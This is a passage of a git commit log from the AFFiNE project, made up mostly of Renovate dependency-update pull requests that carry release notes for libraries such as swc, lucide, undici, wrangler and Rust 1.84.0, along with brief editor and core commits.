-   feat(react-component-annotate): Allow skipping annotations on specified components ([#&#8203;617](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/617))
-   ref(core): Rename release management plugin name ([#&#8203;647](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/647))

Work in this release contributed by [@&#8203;conor-ob](https://redirect.github.com/conor-ob). Thank you for your contribution!

</details>

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.14`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.14): 1.0.14 (2025-01-10)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.13...v1.0.14)

Rules should now work from ESM modules

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.7`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1107---2025-01-10)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.6...v1.10.7)

##### Bug Fixes

-   **(ci/publish)** Do not tag stable if `onlyNightly` is on ([#&#8203;9863](https://redirect.github.com/swc-project/swc/issues/9863)) ([c0c6056](https://redirect.github.com/swc-project/swc/commit/c0c60569e268d9e5f3fdf2362061d160c22f4f4e))

-   **(es/minifier)** Improve DCE ([#&#8203;9853](https://redirect.github.com/swc-project/swc/issues/9853)) ([85fb16c](https://redirect.github.com/swc-project/swc/commit/85fb16c3a241bbd87066a119357ad560e336457d))

-   **(es/parser)** Fix context of dynamic import type ([#&#8203;9852](https://redirect.github.com/swc-project/swc/issues/9852)) ([caa7f37](https://redirect.github.com/swc-project/swc/commit/caa7f370ff2003983a3448a2b7e6f0f6d6224b86))

##### Documentation

-   Update the link to the team ([0fcdc31](https://redirect.github.com/swc-project/swc/commit/0fcdc3143592fe45522c885796dcb826d8992c75))

##### Features

-   **(ts/fast-strip)** Distinguish invalid vs unsupported ([#&#8203;9846](https://redirect.github.com/swc-project/swc/issues/9846)) ([5709bc2](https://redirect.github.com/swc-project/swc/commit/5709bc2205e17540d55d459cd2208a3110e073c9))

##### Testing

-   **(parallel)** Add test to debug segfault on windows x64 ([#&#8203;9857](https://redirect.github.com/swc-project/swc/issues/9857)) ([ae53a35](https://redirect.github.com/swc-project/swc/commit/ae53a359c331ae9bcf93f94e7067381e2e6f1629))

##### Build

-   Update `wasmer` to `v5.0.5-rc1` ([#&#8203;9860](https://redirect.github.com/swc-project/swc/issues/9860)) ([615ae93](https://redirect.github.com/swc-project/swc/commit/615ae9302e5000963f461f2e322d4a6fd6ad12d7))

</details>

<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>

### [`v1.16.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1160)

[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.15.3...1.16.0)

##### New

-   **Added codegen config support for spm module type versions ([#&#8203;539](https://redirect.github.com/apollographql/apollo-ios-dev/pull/539)):** There is a [new codegen config option](https://www.apollographql.com/docs/ios/code-generation/codegen-configuration#swift-package) for supplying a version to the SPM module type to allow for pointing to specific branches or local versions of Apollo iOS.
-   **`@oneOf` input object support ([#&#8203;537](https://redirect.github.com/apollographql/apollo-ios-dev/pull/537)):** Adding support for `@OneOf` Input Objects, more info can be found in the official [RFC](https://redirect.github.com/graphql/graphql-spec/pull/825).

##### Improvements

-   **`URLRequest` cache policy default changed ([#&#8203;550](https://redirect.github.com/apollographql/apollo-ios-dev/pull/550)):** The updated default closer matches the original behaviour before the introduction of setting `URLRequest.CachePolicy`. *Thank you to [@&#8203;marksvend](https://redirect.github.com/marksvend) for raising the issue.*

##### Fixed

-   **`DataDict` initialization of `deferredFragments` property ([#&#8203;557](https://redirect.github.com/apollographql/apollo-ios-dev/pull/557)):** Generated selection set initializers were not correctly setting deferred fragment identifiers. This only affected selection sets that were instantiated with the generated selection set initializers, response-based results are unaffected.
-   **Multipart chunk content type ([#&#8203;572](https://redirect.github.com/apollographql/apollo-ios-dev/pull/572)):** Multipart response parsing would produce an error when the chunk content type contained more than one directive. *Thank you to [@&#8203;brettephillips](https://redirect.github.com/brettephillips) for raising the issue.*

</details>

<details>
<summary>isaacs/node-glob (glob)</summary>

### [`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...148ef611eec9454201b1f2e81721e6fa00582043)

[Compare Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.5.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.5.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v16.5.2...v16.5.3)

##### 👷‍♂️ Patch fixes

-   Fixes problem with encoding and decoding attribute values in HTML - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1678](https://redirect.github.com/capricorn86/happy-dom/issues/1678)
-   Fixes issue where it was not possible to query selector by class when the attribute value had line breaks in it - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1678](https://redirect.github.com/capricorn86/happy-dom/issues/1678)

</details>

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.1.3`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#913-2025-01-09)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.1.2...v9.1.3)

##### Bug Fixes

-   nodejs 18.19 or later is required ([69ec7e2](https://gitlab.com/html-validate/html-validate/commit/69ec7e232aaffbc36c189c7ba963ef1a4100391b))

### [`v9.1.2`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#912-2025-01-08)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v9.1.1...v9.1.2)

##### Bug Fixes

-   fix `ERR_UNSUPPORTED_ESM_URL_SCHEME` on windows ([6b193f3](https://gitlab.com/html-validate/html-validate/commit/6b193f3bd8fc76fa800b8fa6efcf327b817102e3))

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.471.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.471.0): Dynamic Icon component Lucide React and new icons 0.471.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.470.0...0.471.0)

#### New Dynamic Icon Component (lucide-react)

This is an easier approach than the previous `dynamicIconImports` we exported in the library. This one supports all environments.
We removed the examples in the docs of how you can make a dynamic icon yourself with a dedicated DynamicIcon component.
This one fetches the icon data itself and renders it instead of fetching the Icon component from the library.
This makes it more flexible with all the frontend frameworks and libraries that exist for React.

> 🚨
> Not recommended for regular applications that work fine with the regular static icon components.
> Using the dynamic icon component increases build time, separate bundles, and separate network requests for each icon.

##### How to use

`DynamicIcon` is useful for applications that want to show icons dynamically by icon name, for example when using a content management system where icon names are stored in a database.

```jsx
const App = () => (
  <DynamicIcon name="camera" color="red" size={48} />
);
```

##### Possible Breaking changes

We have switched to the ["exports"](https://nodejs.org/api/packages.html#exports-sugar) property in `package.json`. This can cause issues if you have directly imported scripts from the package. Please open an issue if we need to refine this export map.

#### New icons 🎨

-   `triangle-dashed` ([#&#8203;2652](https://redirect.github.com/lucide-icons/lucide/issues/2652)) by [@&#8203;Yohh](https://redirect.github.com/Yohh)

### [`v0.470.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.470.0): New icons 0.470.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.469.0...0.470.0)

#### New icons 🎨

-   `house-wifi` ([#&#8203;2723](https://redirect.github.com/lucide-icons/lucide/issues/2723)) by [@&#8203;akshaymemane](https://redirect.github.com/akshaymemane)

#### Modified Icons 🔨

-   `rat` ([#&#8203;2692](https://redirect.github.com/lucide-icons/lucide/issues/2692)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.78.1`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4781-2025-01-10)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.78.0...v4.78.1)

Full Changelog: [v4.78.0...v4.78.1](https://redirect.github.com/openai/openai-node/compare/v4.78.0...v4.78.1)

##### Bug Fixes

-   send correct Accept header for certain endpoints ([#&#8203;1257](https://redirect.github.com/openai/openai-node/issues/1257)) ([8756693](https://redirect.github.com/openai/openai-node/commit/8756693c5690b16045cdd8d33636fe7643d45f3a))

### [`v4.78.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4780-2025-01-09)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.77.4...v4.78.0)

Full Changelog: [v4.77.4...v4.78.0](https://redirect.github.com/openai/openai-node/compare/v4.77.4...v4.78.0)

##### Features

-   **client:** add realtime types ([#&#8203;1254](https://redirect.github.com/openai/openai-node/issues/1254)) ([7130995](https://redirect.github.com/openai/openai-node/commit/71309957a9a0883cac84b8b57697b796a9df3503))

</details>

<details>
<summary>dtolnay/thiserror (thiserror)</summary>

### [`v2.0.11`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.11)

[Compare Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.10...2.0.11)

-   Add feature gate to tests that use std ([#&#8203;409](https://redirect.github.com/dtolnay/thiserror/issues/409), [#&#8203;410](https://redirect.github.com/dtolnay/thiserror/issues/410), thanks [@&#8203;Maytha8](https://redirect.github.com/Maytha8))

</details>

<details>
<summary>nodejs/undici (undici)</summary>

### [`v7.2.1`](https://redirect.github.com/nodejs/undici/releases/tag/v7.2.1)

[Compare Source](https://redirect.github.com/nodejs/undici/compare/v7.2.0...v7.2.1)

#### What's Changed

-   fix(3951): typo on errorede dns lookup by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3956](https://redirect.github.com/nodejs/undici/pull/3956)
-   feat: add missing error type by [@&#8203;Gigioliva](https://redirect.github.com/Gigioliva) in [https://github.com/nodejs/undici/pull/3964](https://redirect.github.com/nodejs/undici/pull/3964)
-   websocket: improve frame parsing by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3447](https://redirect.github.com/nodejs/undici/pull/3447)
-   fix([#&#8203;3966](https://redirect.github.com/nodejs/undici/issues/3966)): account for network errors by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3967](https://redirect.github.com/nodejs/undici/pull/3967)
-   build(deps-dev): bump [@&#8203;fastify/busboy](https://redirect.github.com/fastify/busboy) from 3.1.0 to 3.1.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3971](https://redirect.github.com/nodejs/undici/pull/3971)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3954](https://redirect.github.com/nodejs/undici/pull/3954)
-   docs: fix dispatcher stream example links by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3972](https://redirect.github.com/nodejs/undici/pull/3972)
-   fix: `undici:request:headers` does not indicate completion of a response by [@&#8203;legendecas](https://redirect.github.com/legendecas) in [https://github.com/nodejs/undici/pull/3974](https://redirect.github.com/nodejs/undici/pull/3974)
-   build(deps): bump cronometro from 3.0.2 to 4.0.1 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3976](https://redirect.github.com/nodejs/undici/pull/3976)
-   fix([#&#8203;3975](https://redirect.github.com/nodejs/undici/issues/3975)): do not unref timeout by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3977](https://redirect.github.com/nodejs/undici/pull/3977)
-   fix: bad response on h2 server by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3978](https://redirect.github.com/nodejs/undici/pull/3978)
-   build(deps): bump peter-evans/create-pull-request from 7.0.5 to 7.0.6 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3981](https://redirect.github.com/nodejs/undici/pull/3981)
-   build(deps): bump actions/upload-artifact from 4.4.3 to 4.5.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3983](https://redirect.github.com/nodejs/undici/pull/3983)
-   chore: ensure automated v7 release compared to v7 by [@&#8203;trivikr](https://redirect.github.com/trivikr) in [https://github.com/nodejs/undici/pull/3986](https://redirect.github.com/nodejs/undici/pull/3986)
-   test: ignore test for CITGM by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3993](https://redirect.github.com/nodejs/undici/pull/3993)
-   fix: retry flaky test by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3992](https://redirect.github.com/nodejs/undici/pull/3992)

#### New Contributors

-   [@&#8203;legendecas](https://redirect.github.com/legendecas) made their first contribution in [https://github.com/nodejs/undici/pull/3974](https://redirect.github.com/nodejs/undici/pull/3974)

**Full Changelog**: https://github.com/nodejs/undici/compare/v7.2.0...v7.2.1

</details>

<details>
<summary>uuidjs/uuid (uuid)</summary>

### [`v11.0.5`](https://redirect.github.com/uuidjs/uuid/blob/HEAD/CHANGELOG.md#1105-2025-01-09)

[Compare Source](https://redirect.github.com/uuidjs/uuid/compare/v11.0.4...v11.0.5)

##### Bug Fixes

-   add TS unit test, pin to typescript@5.0.4 ([#&#8203;860](https://redirect.github.com/uuidjs/uuid/issues/860)) ([24ac2fd](https://redirect.github.com/uuidjs/uuid/commit/24ac2fd067e5bab97a5ccea3f6f365a64c01d140))

</details>

<details>
<summary>cloudflare/workers-sdk (wrangler)</summary>

### [`v3.101.0`](https://redirect.github.com/cloudflare/workers-sdk/blob/HEAD/packages/wrangler/CHANGELOG.md#31010)

[Compare Source](https://redirect.github.com/cloudflare/workers-sdk/compare/wrangler@3.100.0...wrangler@3.101.0)

##### Minor Changes

-   [#&#8203;7534](https://redirect.github.com/cloudflare/workers-sdk/pull/7534) [`7c8ae1c`](https://redirect.github.com/cloudflare/workers-sdk/commit/7c8ae1c7bcfe4c55dc530a1c86520dbb8dd5fb26) Thanks [@&#8203;cmackenzie1](https://redirect.github.com/cmackenzie1)! - feat: Use OAuth flow to generate R2 tokens for Pipelines

-   [#&#8203;7674](https://redirect.github.com/cloudflare/workers-sdk/pull/7674) [`45d1d1e`](https://redirect.github.com/cloudflare/workers-sdk/commit/45d1d1edd640f1dc9e2709c68256981a5de26680) Thanks [@&#8203;Ankcorn](https://redirect.github.com/Ankcorn)! - Add support for env files to wrangler secret bulk i.e. `.dev.vars`

    Run `wrangler secret bulk .dev.vars` to add the env file

    ```env
    //.dev.vars
    KEY=VALUE
    KEY_2=VALUE
    ```

    This will upload the secrets KEY and KEY\_2 to your worker

-   [#&#8203;7442](https://redirect.github.com/cloudflare/workers-sdk/pull/7442) [`e4716cc`](https://redirect.github.com/cloudflare/workers-sdk/commit/e4716cc87893a0633bd2d00543b351e83e228970) Thanks [@&#8203;petebacondarwin](https://redirect.github.com/petebacondarwin)! - feat: add support for redirecting Wrangler to a generated config when running deploy-related commands

    This new feature is designed for build tools and frameworks to provide a deploy-specific configuration,
    which Wrangler can use instead of user configuration when running deploy-related commands.
    It is not expected that developers of Workers will need to use this feature directly.

##### Affected commands

The commands that use this feature are:

-   `wrangler deploy`
-   `wrangler dev`
-   `wrangler versions upload`
-   `wrangler versions deploy`
-   `wrangler pages deploy`
-   `wrangler pages build`
-   `wrangler pages build-env`

##### Config redirect file

When running these commands, Wrangler will look up the directory tree from the current working directory for a file at the path `.wrangler/deploy/config.json`. This file must contain only a single JSON object of the form:

```json
{ "configPath": "../../path/to/wrangler.json" }
```

When this file exists Wrangler will follow the `configPath` (relative to the `.wrangler/deploy/config.json` file) to find an alternative Wrangler configuration file to load and use as part of this command.

When this happens Wrangler will display a warning to the user to indicate that the configuration has been redirected to a different file than the user's configuration file.

##### Custom build tool example

A common approach that a build tool might choose to implement.

-   The user writes code that uses Cloudflare Workers resources, configured via a user `wrangler.toml` file.

    ```toml
    name = "my-worker"
    main = "src/index.ts"
    [[kv_namespaces]]
    binding = "<BINDING_NAME1>"
    id = "<NAMESPACE_ID1>"
    ```

    Note that this configuration points `main` at user code entry-point.

-   The user runs a custom build, which might read the `wrangler.toml` to find the entry-point:

    ```bash
    > my-tool build
    ```

-   This tool generates a `dist` directory that contains both compiled code and a new deployment configuration file, but also a `.wrangler/deploy/config.json` file that redirects Wrangler to this new deployment configuration file:

    ```plain
    - dist
      - index.js
    	- wrangler.json
    - .wrangler
      - deploy
    	  - config.json
    ```

    The `dist/wrangler.json` will contain:

    ```json
    {
      "name": "my-worker",
      "main": "./index.js",
      "kv_namespaces": [
        { "binding": "<BINDING_NAME1>", "id": "<NAMESPACE_ID1>" }
      ]
    }
    ```

    And the `.wrangler/deploy/config.json` will contain:

    ```json
    {
      "configPath": "../../dist/wrangler.json"
    }
    ```

-   [#&#8203;7685](https://redirect.github.com/cloudflare/workers-sdk/pull/7685) [`9d2740a`](https://redirect.github.com/cloudflare/workers-sdk/commit/9d2740aa582c76040baf8aded1ac73d8bb2edeeb) Thanks [@&#8203;vicb](https://redirect.github.com/vicb)! - allow overriding the unenv preset.

    By default wrangler uses the bundled unenv preset.

    Setting `WRANGLER_UNENV_RESOLVE_PATHS` allow to use another version of the preset.
    Those paths are used when resolving the unenv module identifiers to absolute paths.
    This can be used to test a development version.

-   [#&#8203;7694](https://redirect.github.com/cloudflare/workers-sdk/pull/7694) [`f3c2f69`](https://redirect.github.com/cloudflare/workers-sdk/commit/f3c2f69b30fe8549a06b8f7d8853fc9a6100803a) Thanks [@&#8203;joshthoward](https://redirect.github.com/joshthoward)! - Default wrangler d1 export to --local rather than failing

##### Patch Changes

-   [#&#8203;7456](https://redirect.github.com/cloudflare/workers-sdk/pull/7456) [`ff4e77e`](https://redirect.github.com/cloudflare/workers-sdk/commit/ff4e77e5ad7f9e259c5ff443284f3bf07c80cb0e) Thanks [@&#8203;andyjessop](https://redirect.github.com/andyjessop)! - chore: removes --experimental-versions flag, as versions is now GA.

-   [#&#8203;7712](https://redirect.github.com/cloudflare/workers-sdk/pull/7712) [`6439347`](https://redirect.github.com/cloudflare/workers-sdk/commit/6439347a9221cc2818c560bafef95ec1e8e7a7ec) Thanks [@&#8203;penalosa](https://redirect.github.com/penalosa)! - Remove CF-Connecting-IP for requests to the edge preview

-   [#&#8203;7703](https://redirect.github.com/cloudflare/workers-sdk/pull/7703) [`e771fe9`](https://redirect.github.com/cloudflare/workers-sdk/commit/e771fe9909bafa7249cb694d5dd1a23af8bd807e) Thanks [@&#8203;petebacondarwin](https://redirect.github.com/petebacondarwin)! - include the top level Worker name in the parsed config structure

-   [#&#8203;7576](https://redirect.github.com/cloudflare/workers-sdk/pull/7576) [`773bda8`](https://redirect.github.com/cloudflare/workers-sdk/commit/773bda8b38d43102c2a66126df92d3bbc7e80861) Thanks [@&#8203;cmackenzie1](https://redirect.github.com/cmackenzie1)! - Remove defaults for `batch-max-*` pipeline parameters and define value ranges

-   Updated dependencies \[[`2c76887`](https://redirect.github.com/cloudflare/workers-sdk/commit/2c7688737346992d046d2f88eba5c9847ede1365), [`78bdec5`](https://redirect.github.com/cloudflare/workers-sdk/commit/78bdec59ce880365b0318eb94d4176b53e950f66)]:
    -   miniflare@3.20241230.1

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-11 02:56:37 +00:00
zzj3720 c016f8e37e feat(editor): support linked-doc in rich-text column (#9634)
close: BS-2345
2025-01-10 14:43:40 +00:00
zzj3720 cc08094b17 feat(editor): improve group title display for checkbox columns (#9622)
close: BS-1977
2025-01-10 14:01:12 +00:00
pengx17 7d2ee8d742 feat(electron): close inactive views when switching workspace (#9601)
fix AF-1355
2025-01-10 09:52:42 +00:00
fengmk2 93c585a0e2 test(server): should await throwsAsync assert (#9631) 2025-01-10 09:08:10 +00:00
fundon 0b3dba614d perf(editor): optimize the search for the closest element (#9587)
Closes: [BS-2275](https://linear.app/affine-design/issue/BS-2275/拖拽-indicator-查找优化)
2025-01-10 08:21:10 +00:00
EYHN 18ff7500c8 fix(core): fix menu not close when click outside (#9535) 2025-01-10 08:04:49 +00:00
fundon 9882af5d01 fix(core): dependency cycle (#9628) 2025-01-10 07:37:13 +00:00
akumatus 2f49c064eb feat(editor): remove chat-cards and Open AI Chat menu item (#9626)
Support issue [BS-2353](https://linear.app/affine-design/issue/BS-2353).

### What changed?
- Remove `Open AI Chat` menu item.
- Remove `chat-cards` web component.
- Add `extractAll` function for page and edgeless doc full content extract.
2025-01-10 03:53:11 +00:00
renovate dcd691cd31 chore: bump up rustc version to v1.84.0 (#9623)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | minor | `1.83.0` -> `1.84.0` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.84.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1840-2025-01-09)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.83.0...1.84.0)

\==========================

<a id="
Language"></a>

## Language

-   [Allow `#[deny]` inside `#[forbid]` as a no-op](https://redirect.github.com/rust-lang/rust/pull/121560/)
-   [Show a warning when `-Ctarget-feature` is used to toggle features that can lead to unsoundness due to ABI mismatches](https://redirect.github.com/rust-lang/rust/pull/129884)
-   [Use the next-generation trait solver in coherence](https://redirect.github.com/rust-lang/rust/pull/130654)
-   [Allow coercions to drop the principal of trait objects](https://redirect.github.com/rust-lang/rust/pull/131857)
-   [Support `/` as the path separator for `include!()` in all cases on Windows](https://redirect.github.com/rust-lang/rust/pull/125205)
-   [Taking a raw ref (`raw (const|mut)`) of a deref of a pointer (`*ptr`) is now safe](https://redirect.github.com/rust-lang/rust/pull/129248)
-   [Stabilize s390x inline assembly](https://redirect.github.com/rust-lang/rust/pull/131258)
-   [Stabilize Arm64EC inline assembly](https://redirect.github.com/rust-lang/rust/pull/131781)
-   [Lint against creating pointers to immediately dropped temporaries](https://redirect.github.com/rust-lang/rust/pull/128985)
-   [Execute drop glue when unwinding in an `extern "C"` function](https://redirect.github.com/rust-lang/rust/pull/129582)

<a id="1.84.0-Compiler"></a>

## Compiler

-   [Add `--print host-tuple` flag to print the host target tuple and affirm the "target tuple" terminology over "target triple"](https://redirect.github.com/rust-lang/rust/pull/125579)
-   [Declaring functions with a calling convention not supported on the current target now triggers a hard error](https://redirect.github.com/rust-lang/rust/pull/129935)
-   [Set up indirect access to external data for `loongarch64-unknown-linux-{musl,ohos}`](https://redirect.github.com/rust-lang/rust/pull/131583)
-   [Enable XRay instrumentation for LoongArch Linux targets](https://redirect.github.com/rust-lang/rust/pull/131818)
-   [Extend the `unexpected_cfgs` lint to also warn in external macros](https://redirect.github.com/rust-lang/rust/pull/132577)
-   [Stabilize WebAssembly `multivalue`, `reference-types`, and `tail-call` target features](https://redirect.github.com/rust-lang/rust/pull/131080)
-   [Added Tier 2 support for the `wasm32v1-none` target](https://redirect.github.com/rust-lang/rust/pull/131487)

<a id="1.84.0-Libraries"></a>

## Libraries

-   [Implement `From<&mut {slice}>` for `Box/Rc/Arc<{slice}>`](https://redirect.github.com/rust-lang/rust/pull/129329)
-   [Move `<float>::copysign`, `<float>::abs`, `<float>::signum` to `core`](https://redirect.github.com/rust-lang/rust/pull/131304)
-   [Add `LowerExp` and `UpperExp` implementations to `NonZero`](https://redirect.github.com/rust-lang/rust/pull/131377)
-   [Implement `FromStr` for `CString` and `TryFrom<CString>` for `String`](https://redirect.github.com/rust-lang/rust/pull/130608)
-   [`std::os::darwin` has been made public](https://redirect.github.com/rust-lang/rust/pull/123723)

<a id="1.84.0-Stabilized-APIs"></a>

## Stabilized APIs

-   [`Ipv6Addr::is_unique_local`](https://doc.rust-lang.org/stable/core/net/struct.Ipv6Addr.html#method.is_unique_local)
-   [`Ipv6Addr::is_unicast_link_local`](https://doc.rust-lang.org/stable/core/net/struct.Ipv6Addr.html#method.is_unicast_link_local)
-   [`core::ptr::with_exposed_provenance`](https://doc.rust-lang.org/stable/core/ptr/fn.with_exposed_provenance.html)
-   [`core::ptr::with_exposed_provenance_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.with_exposed_provenance_mut.html)
-   [`<ptr>::addr`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.addr)
-   [`<ptr>::expose_provenance`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.expose_provenance)
-   [`<ptr>::with_addr`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.with_addr)
-   [`<ptr>::map_addr`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.map_addr)
-   [`<int>::isqrt`](https://doc.rust-lang.org/stable/core/primitive.i32.html#method.isqrt)
-   [`<int>::checked_isqrt`](https://doc.rust-lang.org/stable/core/primitive.i32.html#method.checked_isqrt)
-   [`<uint>::isqrt`](https://doc.rust-lang.org/stable/core/primitive.u32.html#method.isqrt)
-   [`NonZero::isqrt`](https://doc.rust-lang.org/stable/core/num/struct.NonZero.html#impl-NonZero%3Cu128%3E/method.isqrt)
-   [`core::ptr::without_provenance`](https://doc.rust-lang.org/stable/core/ptr/fn.without_provenance.html)
-   [`core::ptr::without_provenance_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.without_provenance_mut.html)
-   [`core::ptr::dangling`](https://doc.rust-lang.org/stable/core/ptr/fn.dangling.html)
-   [`core::ptr::dangling_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.dangling_mut.html)

These APIs are now stable in const contexts

-   [`AtomicBool::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicBool.html#method.from_ptr)
-   [`AtomicPtr::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicPtr.html#method.from_ptr)
-   [`AtomicU8::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU8.html#method.from_ptr)
-   [`AtomicU16::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU16.html#method.from_ptr)
-   [`AtomicU32::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU32.html#method.from_ptr)
-   [`AtomicU64::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicU64.html#method.from_ptr)
-   [`AtomicUsize::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicUsize.html#method.from_ptr)
-   [`AtomicI8::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI8.html#method.from_ptr)
-   [`AtomicI16::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI16.html#method.from_ptr)
-   [`AtomicI32::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI32.html#method.from_ptr)
-   [`AtomicI64::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicI64.html#method.from_ptr)
-   [`AtomicIsize::from_ptr`](https://doc.rust-lang.org/stable/core/sync/atomic/struct.AtomicIsize.html#method.from_ptr)
-   [`<ptr>::is_null`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.is_null-1)
-   [`<ptr>::as_ref`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.as_ref-1)
-   [`<ptr>::as_mut`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.as_mut)
-   [`Pin::new`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.new)
-   [`Pin::new_unchecked`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.new_unchecked)
-   [`Pin::get_ref`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.get_ref)
-   [`Pin::into_ref`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.into_ref)
-   [`Pin::get_mut`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.get_mut)
-   [`Pin::get_unchecked_mut`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.get_unchecked_mut)
-   [`Pin::static_ref`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.static_ref)
-   [`Pin::static_mut`](https://doc.rust-lang.org/stable/core/pin/struct.Pin.html#method.static_mut)

<a id="1.84.0-Cargo"></a>

## Cargo

-   [Stabilize MSRV-aware resolver config](https://redirect.github.com/rust-lang/cargo/pull/14639/)
-   [Stabilize resolver v3](https://redirect.github.com/rust-lang/cargo/pull/14754/)

<a id="1.84-Rustdoc"></a>

## Rustdoc

-   [rustdoc-search: improve type-driven search](https://redirect.github.com/rust-lang/rust/pull/127589)

<a id="1.84.0-Compatibility-Notes"></a>

## Compatibility Notes

